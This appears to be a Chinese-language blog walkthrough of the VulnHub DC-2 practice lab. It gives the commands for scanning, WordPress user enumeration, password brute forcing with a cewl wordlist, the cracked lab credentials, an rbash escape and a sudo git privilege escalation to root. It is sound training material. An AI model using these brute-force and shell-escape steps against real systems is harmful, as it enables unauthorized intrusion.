[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-2 通关详解 (附靶机搭建教程)

柔光的暖阳◎ 2024-04-29 01:51 75阅读 0赞

> ## ? 博主介绍 ##
> 
> ?? 博主介绍：大家好，我是 [\_PowerShell][PowerShell] ，很高兴认识大家~  
> ✨主攻领域：【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】  
> ?点赞➕评论➕收藏 == 养成习惯（一键三连）?  
> ?欢迎关注?一起学习?一起讨论⭐️一起进步?文末有彩蛋  
> ?作者水平有限，欢迎各位大佬指点，相互学习进步！

#### 文章目录 ####

*  ? 博主介绍
 *  一、环境搭建：
 *   *  1、靶场描述
     *  2、下载靶场环境
     *  3、启动靶场环境
 *  二、渗透靶场
 *   *  1、目标：
     *  2、信息收集：寻找靶机真实IP
     *  3、信息收集：探端口及服务
     *  4、访问web站点
     *  5、发现flag1
     *  6、做一个目录扫描
     *  7、用户名枚举
     *  8、暴力破解出账号密码
     *  9、发现flag2
     *  10、在tom的家目录发现flag3
     *  11、在jerry的家目录发现flag4
     *  12、提权
     *  13.发现final-flag.txt
 *  \# 三、相关资源

## 一、环境搭建： ##

### 1、靶场描述 ###

Much like DC-1, DC-2 is another purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
    As with the original DC-1, it's designed with beginners in mind.
    Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
    Just like with DC-1, there are five flags including the final flag.
    And again, just like with DC-1, the flags are important for beginners, but not so important for those who have experience.
    In short, the only flag that really counts, is the final flag.
    For beginners, Google is your friend. Well, apart from all the privacy concerns etc etc.
    I haven't explored all the ways to achieve root, as I scrapped the previous version I had been working on, and started completely fresh apart from the base OS install.
    和DC-1一样，有五个flag

### 2、下载靶场环境 ###

> 靶场下载地址：

https://www.vulnhub.com/entry/dc-2,311/

> 下载下来的文件如下

![在这里插入图片描述][4f7ed96b0b854391b98542f40c0c8308.png]

### 3、启动靶场环境 ###

> 下载下来是虚拟机压缩文件，直接用Vmvare导入就行。

![在这里插入图片描述][c81b4028d6a34ee1992f0ffdf0a9e9de.png]

> 设置虚拟机名称

![在这里插入图片描述][b14d5e61747943a3bf8f84d5cafdac5b.png]

> 导入中

![在这里插入图片描述][5c1f7ffb548d4c2eab01715395bdb24c.png]

> 导入完成之后打开后把网络模式设置为NAT模式。

![在这里插入图片描述][6b026b63877f45858cec00c59f96f689.png]

> 虚拟机开启之后界面如下，我们不知道ip，需要自己探活，网段知道：192.168.233.0/24

![在这里插入图片描述][f77ad4b9505649d68d83c5d55b610d8b.png]

## 二、渗透靶场 ##

### 1、目标： ###

> 目标就是我们搭建的靶场，靶场IP为：192.168.233.0/24

![在这里插入图片描述][8bf4e1c2eafa460388a48dc3f4d42680.png]

### 2、信息收集：寻找靶机真实IP ###

nmap -sP 192.168.233.0/24

![在这里插入图片描述][2a7b84fc912949f7942a557c1074ee40.png]

> 本机ip为192.168.233.130  
> 所以分析可得靶机ip为192.168.233.178  
> ![在这里插入图片描述][c0f3475bcc994f6a8755485c5d05c034.png]

### 3、信息收集：探端口及服务 ###

nmap -A -p- -v 192.168.233.178

![在这里插入图片描述][6ce05ab4e1fc4f3cb012ff85efb362de.png]

> 发现开放了80端口，存在web服务，Apache/2.4.10，  
> 发现开放了7744端口，开放了ssh服务，OpenSSH 6.7p1

### 4、访问web站点 ###

http://192.168.233.178/

> 发现访问不了，且发现我们输入的ip地址自动转化为了域名，我们想到dc-2这个域名解析失败，我们需要更改hosts文件，添加一个ip域名指向。

> 修改hosts文件，添加靶机IP到域名dc-2的指向

192.168.233.178 dc-2

![在这里插入图片描述][a315a3f58d9b4e27a13e397dd61247ec.png]

> 添加完成之后，再次访问，访问成功

![在这里插入图片描述][e523331edf674ac5bb76c410b6f88590.png]

> 可以很明显的发现这是一个wordpress的站点

### 5、发现flag1 ###

> 在网页下面我们flag

![在这里插入图片描述][ff6c6e2e8eee4520951db690fb2f0efc.png]

> 点进入发现是flag1  
> 大致意思如下：  
> 你通常的单词列表可能不起作用，所以，也许你只是得小心点。  
> 更多的密码总是更好，但有时你就是赢不了他们都是。  
> 以一个身份登录，以查看下一个标志。  
> 如果你找不到它，就以另一种身份登录。

![在这里插入图片描述][e83c0b288347452d87263b1d5ee1e5da.png]

> 大致意思就是暴力破解，账号密码

### 6、做一个目录扫描 ###

dirb http://dc-2/

![在这里插入图片描述][95e106aab03b40eaabaa9543e71a7045.png]

> 发现后台地址

http://dc-2/wp-login.php?redirect_to=http%3A%2F%2Fdc-2%2Fwp-admin%2F&reauth=1

![在这里插入图片描述][7623a169d2b14ce2b2578a63d4bfa549.png]

> 发现多个遍历，但似乎没什么有用的东西  
> ![在这里插入图片描述][32d1711e3dc54619b448054bc0480b68.png]

### 7、用户名枚举 ###

> 前面我们提到这是一个wordpress的站，我们采用专门针对wordpress的工具wpscan来进行扫描  
> Wpscan一些常用语句：

wpscan --url http://dc-2
    wpscan --url http://dc-2 --enumerate t 扫描主题
    wpscan --url http://dc-2 --enumerate p 扫描插件
    wpscan --url http://dc-2 --enumerate u 枚举用户

> 扫描wordpress版本

wpscan --url http://dc-2

![在这里插入图片描述][ba7381dbced64b15959335bd2987c499.png]

> 发现wordpress的版本4.7.10

![在这里插入图片描述][18e0840c045a4c40860a56a22c381a86.png]

> 登录页面尝试登录  
> 随即输入用户名密码，提示用户名不存在，似乎可以进行用户名枚举

![在这里插入图片描述][d0acfdbcce73464390d9ea58ec94c8de.png]

> 首先来个用户枚举，再尝试利用枚举到的用户爆破密码

wpscan --url http://dc-2 --enumerate u

![在这里插入图片描述][31acd03ccda64055975f4b790453746d.png]

> 枚举出三个用户名

admin jerry tom

![在这里插入图片描述][7d3670affef543268a28783b2da0cc0c.png]

### 8、暴力破解出账号密码 ###

> 根据flag1可以用暴力破解，我们使用cewl生成字典，使用wpscan进行暴力破解

cewl http://dc-2/ > 1.txt

![在这里插入图片描述][ec42df1c07314a8da67091116265e647.png]

wpscan --url http://dc-2 --passwords 1.txt

![在这里插入图片描述][4e31aa71ca0d42189b9342abc678b83b.png]

> 爆破出来两个账号

jerry/adipiscing
    tom/parturient

![在这里插入图片描述][8c72c2e0075942bcba76b682117dbec1.png]

> jerry/adipiscing登录此站点

![在这里插入图片描述][7e2cb0b4660c480388e7dedaa73bf3a2.png]

> tom/parturient登陆此站点

![在这里插入图片描述][6c8934fec16e4d2ab1756874721da646.png]

### 9、发现flag2 ###

> 登录后台之后，我们看到flag2，我用的是jerry的账号

![在这里插入图片描述][43bd44dc94f646d8af302d506dd06b6e.png]

> 点进去之后看到flag2提示信息，简单说就是如果wordpress行不通的话就会一个点，我们之前发现有ssh，我们看看ssh

If you can't exploit WordPress and take a shortcut, there is another way.
    如果你不能利用WordPress并采取一条捷径，还有另外一种方法。
    Hope you found another entry point.
    希望你找到了另一个入口。

![在这里插入图片描述][5cd79c808bdc4a5bad1ebb8175b62891.png]

### 10、在tom的家目录发现flag3 ###

jerry/adipiscing
    tom/parturient

> 登录ssh

ssh tom@192.168.37.130 -p 7744

![在这里插入图片描述][816c0276662f4d52a2c94a32bba85e78.png]

> 在tom账号的家目录 发现flag3  
> cat用不了，我这里采用了vi来查看，当前=也可以反弹一个shell到kali

![在这里插入图片描述][2019c1466ae8462fa662600539adf75e.png]

> 提示内容如下

![在这里插入图片描述][d3bed084643641a88635838d610fca25.png]

> 接下来，尝试rbash绕过  
> 查看可以使用的命令

echo $PATH

![在这里插入图片描述][7f49e071cd9b410bb857be2bbecb3fb6.png]

> cd进不去目录 使用ls直接查看目录信息

![在这里插入图片描述][a6f0f6a86f08409aa5eb6e8f4638efe6.png]

> 使用echo来绕过rbash

BASH_CMDS[a]=/bin/sh;a
    export PATH=$PATH:/bin/
    export PATH=$PATH:/usr/bin
    echo /*

![在这里插入图片描述][825c27e4109e42beb87b039ab01b4b00.png]

### 11、在jerry的家目录发现flag4 ###

cd jerry
    ls
    cat flag4.txt

> 看到提示信息如下：

Good to see that you've made it this far - but you " re not home yet .
    很高兴看到你走了这么远，但你还没回家。
    You still need to get the final flag (the only flag that really counts!!! ).
    您仍然需要获得最后的标志(唯一真正重要的标志！)
    No hints here 一you're on your own now. :- )
    这里没有暗示，一，你现在只能靠自己了。*-)
    Go on
    继续
    git outta here!!!!

> 大致意思就是还没有结束。猜想需要提权才能获取到最终的flag，并且flag4 提示我们可以使用git，我们可以通过git来提权

![在这里插入图片描述][338bbd8ce5384da49b3fca9281e5a960.png]

> 我们可以看到无需root权限，jerry 可以使用 git

sudo -l

![在这里插入图片描述][78987751f6f3449b906ec0c4895a05fe.png]

### 12、提权 ###

> 查看一下可以使用的root权限命令

find / -user root -perm -4000 -print 2>/dev/null

![在这里插入图片描述][968796f2ede341ebbcb20dffb5f2a5b9.png]

> sudo可以使用，但是不能到root权限(可以尝试jerry的用户)  
> 在使用su jerry (密码：adipiscing)

![在这里插入图片描述][8cc01f7f3f904cdb95ba61516629da76.png]

> jerry用户也不可以直接sudo su

![在这里插入图片描述][3f98813c88754af2817937096a62cad6.png]

> 发现可以使用git命令 (root权限)

![在这里插入图片描述][4a6da5dec10b4d60a6dc42566c023147.png]

> 使用git命令进行提取

![在这里插入图片描述][ba43fdf32b9e43e69a3cd3047e9173e4.png]

> 输入!/bin/sh，直接输入就行

![在这里插入图片描述][0d8aede5b4e141ec8bcb358801db19a7.png]

> 提权成功

![在这里插入图片描述][b85acd7c4449477dbd7ef2715cbcf1ed.png]

### 13.发现final-flag.txt ###

cd /root
    cat final-flag.txt

![在这里插入图片描述][54331ee5bb1347079f784c9e3c2098c9.png]

## \# 三、相关资源 ##

[ 1、靶场下载地址 ][1_]  
[ 2、git提权 ][2_git_]  
[ 3、rbash绕过 ][3_rbash_]  
[ 4、\[ 常用工具篇 \] kali 自带目录扫描神器 dirb Headless (命令行)模式详解 ][4_ _ _ kali _ dirb Headless _]  
[ 5、WPScan使用完整攻略 ][5_WPScan_]

[PowerShell]: https://blog.csdn.net/qq_51577576
[4f7ed96b0b854391b98542f40c0c8308.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/309e13d945484a7b97c0ba2b9cbf5a3a.png
[c81b4028d6a34ee1992f0ffdf0a9e9de.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/1bc98e0511e248de99213c2248918ea8.png
[b14d5e61747943a3bf8f84d5cafdac5b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/7ec41e68253d4d6988689d9f9a59d0a4.png
[5c1f7ffb548d4c2eab01715395bdb24c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/c4213f65494d4db4ae58ac9e550614e2.png
[6b026b63877f45858cec00c59f96f689.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/995f5f3355c74df9a5bca830720f539e.png
[f77ad4b9505649d68d83c5d55b610d8b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/49b4151081d14f588cd53977ea58c0f0.png
[8bf4e1c2eafa460388a48dc3f4d42680.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/bae69276a27e4b40831eff1512aa459d.png
[2a7b84fc912949f7942a557c1074ee40.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/b25d5677b9d94647938b1452211616b1.png
[c0f3475bcc994f6a8755485c5d05c034.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/7481d09719aa4ee59d882ce546a07421.png
[6ce05ab4e1fc4f3cb012ff85efb362de.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/1bdc515cef1f4350b11f40a3ec06d6a1.png
[a315a3f58d9b4e27a13e397dd61247ec.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/5e7c63e06b6c49b6b894e0ee91f67baa.png
[e523331edf674ac5bb76c410b6f88590.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/58c5eadfbef7439fa5d558c31e96b7eb.png
[ff6c6e2e8eee4520951db690fb2f0efc.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/13ce3604d8ec46458f822d530e501be3.png
[e83c0b288347452d87263b1d5ee1e5da.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/de8fe0f2ec0943c48674eca65a0fa0c3.png
[95e106aab03b40eaabaa9543e71a7045.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/084793a076f84945ade538096a1704e5.png
[7623a169d2b14ce2b2578a63d4bfa549.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/5c600555f205477f95088e38530756ee.png
[32d1711e3dc54619b448054bc0480b68.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/5fd0b4e55a69450bb4ebda175bf16feb.png
[ba7381dbced64b15959335bd2987c499.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/f2ab68c2c8904dc9a10f6c0c1c31dcad.png
[18e0840c045a4c40860a56a22c381a86.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/daa30881f3144ff28f4064559435058f.png
[d0acfdbcce73464390d9ea58ec94c8de.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/e26f2c21a3c9408b80cbf07afe8cf0a5.png
[31acd03ccda64055975f4b790453746d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/8d422198f4ec48d2afb749b38ae14b2d.png
[7d3670affef543268a28783b2da0cc0c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/03073a8fb2fc4367a23059f575e8e990.png
[ec42df1c07314a8da67091116265e647.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/43b6b4bef49846ffbcc920b3f026ef35.png
[4e31aa71ca0d42189b9342abc678b83b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/aa429b750a0a46ea93772036570d33d5.png
[8c72c2e0075942bcba76b682117dbec1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/360d5c006fa945b6b19e7b73e3040873.png
[7e2cb0b4660c480388e7dedaa73bf3a2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/da1ebb39e893427f926afa29715e5ae7.png
[6c8934fec16e4d2ab1756874721da646.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/4eac367e68cc42d8958223ce30edb33e.png
[43bd44dc94f646d8af302d506dd06b6e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/75a27e92234843779b09896f4e73fe97.png
[5cd79c808bdc4a5bad1ebb8175b62891.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/4a8db9bbd51b40bea0fa6b1ab94caf6f.png
[816c0276662f4d52a2c94a32bba85e78.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/31888fb08e02466b9c3fb2d1eaae9ab6.png
[2019c1466ae8462fa662600539adf75e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/a2cb1126efcf40fb992a3f6a5ea81333.png
[d3bed084643641a88635838d610fca25.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/a36d3427e75046d0bb291db8e0f0dca4.png
[7f49e071cd9b410bb857be2bbecb3fb6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/82c96ee72c8b4311835906701ddd1044.png
[a6f0f6a86f08409aa5eb6e8f4638efe6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/af8cfa57cf564cff8f3ca576f1a30878.png
[825c27e4109e42beb87b039ab01b4b00.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/daeea0357f5048648ba22ebaaebfbb3d.png
[338bbd8ce5384da49b3fca9281e5a960.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/d1759c05344c44d19ff956a43f2caef9.png
[78987751f6f3449b906ec0c4895a05fe.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/b091761648fc43cea467619e57ec1660.png
[968796f2ede341ebbcb20dffb5f2a5b9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/b48d2d44e77e470b8b49f0ae8eef2213.png
[8cc01f7f3f904cdb95ba61516629da76.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/64cfefa9ffd04f2a92bbfaa2967d6aaf.png
[3f98813c88754af2817937096a62cad6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/d0cf7489df0344b19b8b5e3eeaa27157.png
[4a6da5dec10b4d60a6dc42566c023147.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/a248f5c2e0084437a5d00ec4fa9b11ca.png
[ba43fdf32b9e43e69a3cd3047e9173e4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/f70c31b49f914941ba478db528689f0f.png
[0d8aede5b4e141ec8bcb358801db19a7.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/fd3cfb0e1f5d4cec82966e561155ee83.png
[b85acd7c4449477dbd7ef2715cbcf1ed.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/1509416e64ba403d90e881458f31f8d2.png
[54331ee5bb1347079f784c9e3c2098c9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/307dbb755c5847a3b0ff7f761d2c1b79.png
[1_]: https://www.vulnhub.com/entry/dc-1,292/
[2_git_]: https://blog.csdn.net/qq_38612882/article/details/122772867
[3_rbash_]: https://blog.csdn.net/weixin_43705814/article/details/111879362
[4_ _ _ kali _ dirb Headless _]: https://blog.csdn.net/qq_51577576/article/details/127060353
[5_WPScan_]: https://www.freebuf.com/sectool/174663.html